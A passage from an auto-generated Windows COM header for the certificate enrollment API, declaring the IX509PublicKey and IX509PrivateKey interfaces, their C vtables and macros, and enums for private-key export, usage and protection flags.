__MIDL_itf_certenroll_0000_0011_v0_0_s_ifspec;\n\n#ifndef __IX509PublicKey_INTERFACE_DEFINED__\n#define __IX509PublicKey_INTERFACE_DEFINED__\n\n/* interface IX509PublicKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PublicKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PublicKey : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [in] */ __RPC__in BSTR strEncodedParameters,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromEncodedPublicKeyInfo( \n            /* [in] */ __RPC__in BSTR strEncodedPublicKeyInfo,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Algorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedKey( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedParameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ComputeKeyIdentifier( \n            /* [in] */ KeyIdentifierHashAlgorithm Algorithm,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509PublicKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PublicKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PublicKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PublicKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PublicKey * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [in] */ __RPC__in BSTR strEncodedParameters,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromEncodedPublicKeyInfo )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in BSTR strEncodedPublicKeyInfo,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PublicKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PublicKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedKey )( \n            __RPC__in IX509PublicKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedParameters )( \n            __RPC__in IX509PublicKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ComputeKeyIdentifier )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ KeyIdentifierHashAlgorithm Algorithm,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509PublicKeyVtbl;\n\n    interface IX509PublicKey\n    {\n        CONST_VTBL struct IX509PublicKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PublicKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PublicKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PublicKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PublicKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PublicKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PublicKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PublicKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PublicKey_Initialize(This,pObjectId,strEncodedKey,strEncodedParameters,Encoding)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,strEncodedKey,strEncodedParameters,Encoding) ) \n\n#define IX509PublicKey_InitializeFromEncodedPublicKeyInfo(This,strEncodedPublicKeyInfo,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeFromEncodedPublicKeyInfo(This,strEncodedPublicKeyInfo,Encoding) ) \n\n#define IX509PublicKey_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PublicKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PublicKey_get_EncodedKey(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedKey(This,Encoding,pValue) ) \n\n#define IX509PublicKey_get_EncodedParameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedParameters(This,Encoding,pValue) ) \n\n#define IX509PublicKey_ComputeKeyIdentifier(This,Algorithm,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> ComputeKeyIdentifier(This,Algorithm,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PublicKey_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0012 */\n/* [local] */ \n\ntypedef \nenum X509PrivateKeyExportFlags\n    {\tXCN_NCRYPT_ALLOW_EXPORT_NONE\t= 0,\n\tXCN_NCRYPT_ALLOW_EXPORT_FLAG\t= 0x1,\n\tXCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG\t= 0x2,\n\tXCN_NCRYPT_ALLOW_ARCHIVING_FLAG\t= 0x4,\n\tXCN_NCRYPT_ALLOW_PLAINTEXT_ARCHIVING_FLAG\t= 0x8\n    } \tX509PrivateKeyExportFlags;\n\ntypedef \nenum X509PrivateKeyUsageFlags\n    {\tXCN_NCRYPT_ALLOW_USAGES_NONE\t= 0,\n\tXCN_NCRYPT_ALLOW_DECRYPT_FLAG\t= 0x1,\n\tXCN_NCRYPT_ALLOW_SIGNING_FLAG\t= 0x2,\n\tXCN_NCRYPT_ALLOW_KEY_AGREEMENT_FLAG\t= 0x4,\n\tXCN_NCRYPT_ALLOW_ALL_USAGES\t= 0xffffff\n    } \tX509PrivateKeyUsageFlags;\n\ntypedef \nenum X509PrivateKeyProtection\n    {\tXCN_NCRYPT_UI_NO_PROTECTION_FLAG\t= 0,\n\tXCN_NCRYPT_UI_PROTECT_KEY_FLAG\t= 0x1,\n\tXCN_NCRYPT_UI_FORCE_HIGH_PROTECTION_FLAG\t= 0x2\n    } \tX509PrivateKeyProtection;\n\ntypedef \nenum X509PrivateKeyVerify\n    {\tVerifyNone\t= 0,\n\tVerifySilent\t= 1,\n\tVerifySmartCardNone\t= 2,\n\tVerifySmartCardSilent\t= 3,\n\tVerifyAllowUI\t= 4\n    } \tX509PrivateKeyVerify;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0012_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0012_v0_0_s_ifspec;\n\n#ifndef __IX509PrivateKey_INTERFACE_DEFINED__\n#define __IX509PrivateKey_INTERFACE_DEFINED__\n\n/* interface IX509PrivateKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PrivateKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PrivateKey : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Open( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Create( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Close( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Delete( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Verify( \n            /* [in] */ X509PrivateKeyVerify VerifyType) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Import( \n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Export( \n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ExportPublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ContainerName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ContainerName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ContainerNamePrefix( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ContainerNamePrefix( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ReaderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ReaderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspInformations( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CspInformations( \n            /* [in] */ __RPC__in_opt ICspInformations *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspStatus( \n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CspStatus( \n            /* [in] */ __RPC__in_opt ICspStatus *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ProviderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ProviderType( \n            /* [retval][out] */ __RPC__out X509ProviderType *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ProviderType( \n            /* [in] */ X509ProviderType Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_LegacyCsp( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_LegacyCsp( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Algorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Algorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeySpec( \n            /* [in] */ X509KeySpec Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Length( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ExportPolicy( \n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ExportPolicy( \n            /* [in] */ X509PrivateKeyExportFlags Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyUsage( \n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyUsage( \n            /* [in] */ X509PrivateKeyUsageFlags Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyProtection( \n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyProtection( \n            /* [in] */ X509PrivateKeyProtection Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MachineContext( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_MachineContext( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SecurityDescriptor( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SecurityDescriptor( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UniqueContainerName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Opened( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DefaultContainer( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Existing( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Existing( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Pin( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_FriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Description( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Description( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509PrivateKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PrivateKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PrivateKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PrivateKey * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Open )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Create )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Close )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Delete )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Verify )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyVerify VerifyType);\n        \n        HRESULT ( STDMETHODCALLTYPE *Import )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *ExportPublicKey )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReaderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ReaderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatus )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspStatus )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderType )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderType )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509ProviderType Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_LegacyCsp )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Algorithm )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeySpec )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509KeySpec Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Length )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ExportPolicy )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ExportPolicy )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyExportFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyUsage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyUsageFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyProtection )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyProtection )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyProtection Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineContext )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_MachineContext )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509PrivateKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Certificate )( \n            __RPC__in IX509PrivateKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE 